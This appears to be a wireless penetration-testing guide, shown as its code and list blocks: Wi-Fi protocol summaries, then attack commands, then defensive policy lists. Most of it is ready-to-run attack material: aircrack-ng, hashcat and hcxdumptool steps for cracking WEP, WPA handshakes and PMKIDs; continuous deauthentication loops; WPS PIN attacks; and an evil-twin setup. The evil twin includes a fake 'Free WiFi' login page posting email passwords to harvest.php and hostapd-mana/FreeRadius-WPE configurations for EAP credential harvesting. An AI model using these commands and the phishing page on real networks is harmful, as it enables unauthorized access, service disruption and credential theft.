WEP (Wired Equivalent Privacy):
  Status: Deprecated (2004)
  Key Size: 64-bit/128-bit
  Vulnerabilities: RC4 stream cipher flaws
  Break Time: < 5 minutes

WPA (Wi-Fi Protected Access):
  Status: Legacy
  Key Size: 128-bit
  Improvements: TKIP, MIC
  Vulnerabilities: TKIP attacks

WPA2 (802.11i):
  Status: Current standard
  Encryption: AES-CCMP
  Key Size: 128-bit
  Vulnerabilities: KRACK, weak PSK

WPA3 (2018):
  Status: Latest standard
  Encryption: AES-256, ChaCha20
  Features: SAE, Enhanced Open
  Protection: Forward secrecy

# Check wireless interfaces
iwconfig

# Set interface to monitor mode
sudo airmon-ng start wlan0

# Verify monitor mode
iwconfig wlan0mon

# Set specific channel
sudo iwconfig wlan0mon channel 6

# Discover all wireless networks
sudo airodump-ng wlan0mon

# Target specific network
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF wlan0mon

# Save capture to file
sudo airodump-ng -w capture --output-format pcap wlan0mon

Collected Data:
  Network Information:
    - SSID (network name)
    - BSSID (access point MAC)
    - Channel and frequency
    - Signal strength (RSSI)
    - Encryption type
    - Cipher and authentication
  
  Client Information:
    - Connected stations
    - MAC addresses
    - Activity levels
    - Probe requests

# Wardriving automation script
import subprocess
import time
import json
from datetime import datetime

class WirelessScanner:
    def __init__(self, interface):
        self.interface = interface
        self.networks = {}
        
    def scan_networks(self, duration=60):
        """Perform wireless network scan"""
        print(f"[*] Starting {duration}s wireless scan...")
        
        # Start airodump-ng scan
        cmd = f"timeout {duration} airodump-ng {self.interface} --output-format csv -w scan"
        subprocess.run(cmd.split(), capture_output=True)
        
        # Parse results
        self.parse_scan_results("scan-01.csv")
        
    def parse_scan_results(self, filename):
        """Parse airodump-ng CSV output"""
        try:
            with open(filename, 'r') as f:
                lines = f.readlines()
            
            # Find AP section
            ap_start = next(i for i, line in enumerate(lines) if 'BSSID' in line)
            
            for line in lines[ap_start+1:]:
                if line.strip() == '':
                    break
                    
                fields = line.split(',')
                if len(fields) > 13:
                    network = {
                        'bssid': fields[0].strip(),
                        'power': fields[8].strip(),
                        'beacons': fields[9].strip(),
                        'channel': fields[3].strip(),
                        'privacy': fields[5].strip(),
                        'essid': fields[13].strip()
                    }
                    self.networks[network['bssid']] = network
                    
        except Exception as e:
            print(f"[!] Error parsing results: {e}")
    
    def generate_report(self):
        """Generate wireless survey report"""
        report = f"""
WIRELESS SECURITY ASSESSMENT REPORT
==================================

Scan Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}
Networks Discovered: {len(self.networks)}

NETWORK INVENTORY:
        """
        
        for bssid, network in self.networks.items():
            report += f"""
BSSID: {bssid}
ESSID: {network['essid']}
Channel: {network['channel']}
Security: {network['privacy']}
Signal: {network['power']} dBm
        """
        
        return report

# Start packet capture
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wep_crack wlan0mon

# Generate traffic (in another terminal)
sudo aireplay-ng -3 -b AA:BB:CC:DD:EE:FF -h CC:DD:EE:FF:00:11 wlan0mon

# Crack WEP key when sufficient IVs collected
sudo aircrack-ng -b AA:BB:CC:DD:EE:FF wep_crack-01.cap

ARP Request Replay:
  - Capture ARP packet
  - Replay to generate traffic
  - Collect unique IVs
  - Crack with statistical analysis

Fake Authentication:
  - Associate with access point
  - Generate authenticated packets
  - Bypass MAC filtering
  - Enable injection attacks

Fragmentation Attack:
  - Extract PRGA from fragments
  - Generate arbitrary packets
  - Works with limited traffic
  - Bypasses WEP filtering

Korek Chopchop:
  - Decrypt packets byte-by-byte
  - No key recovery needed
  - Generate new packets
  - Works against strict filtering

# Capture handshake
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon

# Force client reconnection
sudo aireplay-ng -0 2 -a AA:BB:CC:DD:EE:FF -c CC:DD:EE:FF:00:11 wlan0mon

# Verify handshake capture
sudo aircrack-ng handshake-01.cap

# Dictionary attack with aircrack-ng
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt handshake-01.cap

# HashCat GPU acceleration
hashcat -m 2500 handshake.hccapx /usr/share/wordlists/rockyou.txt

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt handshake.john

# Mask attack (8-digit numeric)
hashcat -m 2500 handshake.hccapx -a 3 ?d?d?d?d?d?d?d?d

# Capture PMKID
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1

# Convert to hashcat format
hcxpcapngtool -o pmkid.hash -k pmkid.hccapx pmkid.pcapng

# Crack PMKID
hashcat -m 16800 pmkid.hash /usr/share/wordlists/rockyou.txt

# Create fake access point
sudo hostapd /etc/hostapd/hostapd.conf

# hostapd.conf configuration
interface=wlan1
driver=nl80211
ssid=FreeWiFi
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0

<!-- Captive portal login page -->
<!DOCTYPE html>
<html>
<head>
    <title>Free WiFi - Login Required</title>
    <style>
        body { font-family: Arial; text-align: center; padding: 50px; }
        .login-form { max-width: 400px; margin: 0 auto; }
        input { width: 100%; padding: 10px; margin: 5px 0; }
        button { background: #4CAF50; color: white; padding: 10px 20px; }
    </style>
</head>
<body>
    <div class="login-form">
        <h2>Welcome to Free WiFi</h2>
        <p>Please login with your email credentials to access internet</p>
        <form action="harvest.php" method="POST">
            <input type="email" name="email" placeholder="Email Address" required>
            <input type="password" name="password" placeholder="Password" required>
            <button type="submit">Connect to Internet</button>
        </form>
    </div>
</body>
</html>

# Deauth specific client
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c CC:DD:EE:FF:00:11 wlan0mon

# Deauth all clients
sudo aireplay-ng -0 0 -a AA:BB:CC:DD:EE:FF wlan0mon

# Continuous deauth attack
while true; do
    sudo aireplay-ng -0 1 -a AA:BB:CC:DD:EE:FF wlan0mon
    sleep 1
done

Karma Attack:
  - Respond to all probe requests
  - Impersonate any requested network
  - Automatic client association
  - Credential harvesting opportunities

MANA Framework:
  - Advanced rogue AP toolkit
  - Automatic AP impersonation
  - Client device fingerprinting
  - Credential collection and relay
  - EAP attack capabilities

WiFi Pineapple:
  - Hardware-based rogue AP
  - Automated attack deployment
  - Web-based management interface
  - Modular attack framework
  - Client device tracking

# Setup bridge interface
sudo brctl addbr br0
sudo brctl addif br0 eth0
sudo brctl addif br0 wlan1

# Enable IP forwarding
sudo echo 1 > /proc/sys/net/ipv4/ip_forward

# Setup iptables for traffic interception
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i br0 -o eth0 -j ACCEPT
sudo iptables -A FORWARD -i eth0 -o br0 -j ACCEPT

# Scan for WPS-enabled networks
sudo wash -i wlan0mon

# Attack WPS with Reaver
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv

# Reaver with additional options
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -L -N -d 15 -T .5 -c 6

# Bully Pixie Dust attack
sudo bully -d -v 3 AA:BB:CC:DD:EE:FF -c 6 wlan0mon

# Reaver Pixie Dust
sudo reaver -i wlan0mon -c 6 -b AA:BB:CC:DD:EE:FF -K 1 -N

Online PIN Attack:
  - 8-digit PIN brute force
  - 10^4 + 10^3 maximum attempts
  - Rate limiting vulnerabilities
  - Lockout mechanism bypass

Offline PIN Attack (Pixie Dust):
  - Weak random number generation
  - M1/M2 message analysis
  - PIN calculation from exchanges
  - No rate limiting required

WPS Information Disclosure:
  - WPS information elements
  - Device name and model
  - Configuration methods
  - PIN lock status

EAP-MD5 Attack:
  - Dictionary/brute force
  - No mutual authentication
  - Offline password cracking
  - Asleap tool usage

PEAP Attack:
  - Certificate validation bypass
  - Inner authentication targeting
  - Credential harvesting
  - Hostapd-mana framework

EAP-TTLS Attack:
  - Tunnel manipulation
  - Inner protocol attacks
  - Certificate spoofing
  - FreeRadius-WPE usage

# hostapd-mana configuration
interface=wlan1
driver=nl80211
ssid=Corporate_WiFi
hw_mode=g
channel=6
ieee8021x=1
eap_server=1
eap_user_file=/etc/hostapd-mana/mana.eap_user
ca_cert=/etc/hostapd-mana/ca.pem
server_cert=/etc/hostapd-mana/server.pem
private_key=/etc/hostapd-mana/server.key
mana_wpe=1

# EAP credential harvesting
sudo hostapd-mana /etc/hostapd-mana/mana.conf

# FreeRadius-WPE setup
sudo apt install freeradius-wpe

# Configure WPE
sudo vi /etc/freeradius/sites-enabled/default

# Start WPE server
sudo freeradius-wpe -X

# Basic Bluetooth scanning
hciconfig hci0 up
hcitool scan

# Advanced discovery
hcitool inq --length=8 --num-rsp=255

# Service discovery
sdptool browse 00:11:22:33:44:55

# BlueZ stack information
bluetoothctl
[bluetooth]# scan on
[bluetooth]# devices

BlueZ Utilities:
  - hcitool (device discovery)
  - l2ping (connectivity test)
  - rfcomm (serial connections)
  - sdptool (service discovery)

Specialized Tools:
  - Btlejuice (BLE MitM)
  - Gattacker (BLE attacks)
  - BlueHydra (device tracking)
  - Ubertooth (packet sniffing)

Attack Categories:
  - Bluejacking (message spam)
  - Bluesnarfing (data theft)
  - Bluebugging (device control)
  - Car Whisperer (hands-free attacks)

Common IoT Protocols:
  ZigBee (802.15.4):
    - Mesh networking
    - Low power consumption
    - AES-128 encryption
    - Key management issues

  Z-Wave:
    - Proprietary protocol
    - Mesh networking
    - AES encryption (newer)
    - Replay attack vulnerabilities

  LoRaWAN:
    - Long-range communication
    - Low power wide area
    - AES-128 encryption
    - Join procedure attacks

  Thread:
    - IPv6-based mesh
    - Enterprise-grade security
    - Certificate-based auth
    - Still emerging vulnerabilities

# IoT device security scanner
import socket
import requests
from scapy.all import *

class IoTSecurityScanner:
    def __init__(self, target_range):
        self.target_range = target_range
        self.discovered_devices = []
    
    def discover_iot_devices(self):
        """Discover IoT devices on network"""
        print("[*] Scanning for IoT devices...")
        
        # Common IoT ports
        iot_ports = [80, 443, 8080, 8081, 554, 5000, 8888, 9000]
        
        for ip in self.generate_ip_range():
            for port in iot_ports:
                if self.port_scan(ip, port):
                    device_info = self.identify_device(ip, port)
                    if device_info:
                        self.discovered_devices.append(device_info)
    
    def identify_device(self, ip, port):
        """Identify IoT device type"""
        try:
            response = requests.get(f"http://{ip}:{port}", timeout=5)
            
            # Device identification patterns
            patterns = {
                'camera': ['axis', 'hikvision', 'dahua', 'foscam'],
                'router': ['admin', 'router', 'gateway', 'modem'],
                'printer': ['hp', 'canon', 'epson', 'brother'],
                'nas': ['synology', 'qnap', 'drobo', 'netgear']
            }
            
            content_lower = response.text.lower()
            
            for device_type, keywords in patterns.items():
                if any(keyword in content_lower for keyword in keywords):
                    return {
                        'ip': ip,
                        'port': port,
                        'type': device_type,
                        'headers': dict(response.headers)
                    }
                    
        except Exception:
            pass
        
        return None

Security Configuration:
  Strong Encryption:
    - WPA3-Personal (SAE)
    - WPA3-Enterprise (802.1X)
    - AES-256 encryption
    - Strong pre-shared keys

  Access Controls:
    - MAC address filtering
    - Network access control (NAC)
    - VLAN segmentation
    - Guest network isolation

  Administrative Security:
    - Default credential changes
    - Firmware updates
    - HTTPS management only
    - Strong admin passwords
    - Regular security audits

Enterprise Features:
  802.1X Authentication:
    - EAP-TLS certificate auth
    - PEAP with strong passwords
    - RADIUS server integration
    - Certificate validation

  Network Monitoring:
    - Wireless IDS/IPS
    - Rogue AP detection
    - Client device tracking
    - Anomaly detection
    - Traffic analysis

  Physical Security:
    - AP placement optimization
    - RF shielding
    - Power level adjustment
    - Directional antennas

User Training Topics:
  Threat Recognition:
    - Evil twin identification
    - Suspicious network names
    - Certificate warnings
    - Unusual connection behavior

  Safe Connection Practices:
    - Corporate network priority
    - VPN usage requirements
    - Public WiFi precautions
    - Software update importance

  Incident Reporting:
    - Suspicious network detection
    - Unauthorized access attempts
    - Device compromise indicators
    - Policy violation reporting

Wireless Security Policy:
  Device Requirements:
    - Corporate device standards
    - Security software installation
    - Automatic update enabling
    - Endpoint protection deployment

  Network Usage:
    - Approved network lists
    - Public WiFi restrictions
    - Personal hotspot policies
    - Guest access procedures

  Compliance Monitoring:
    - Regular security assessments
    - Policy violation tracking
    - Training effectiveness metrics
    - Incident response procedures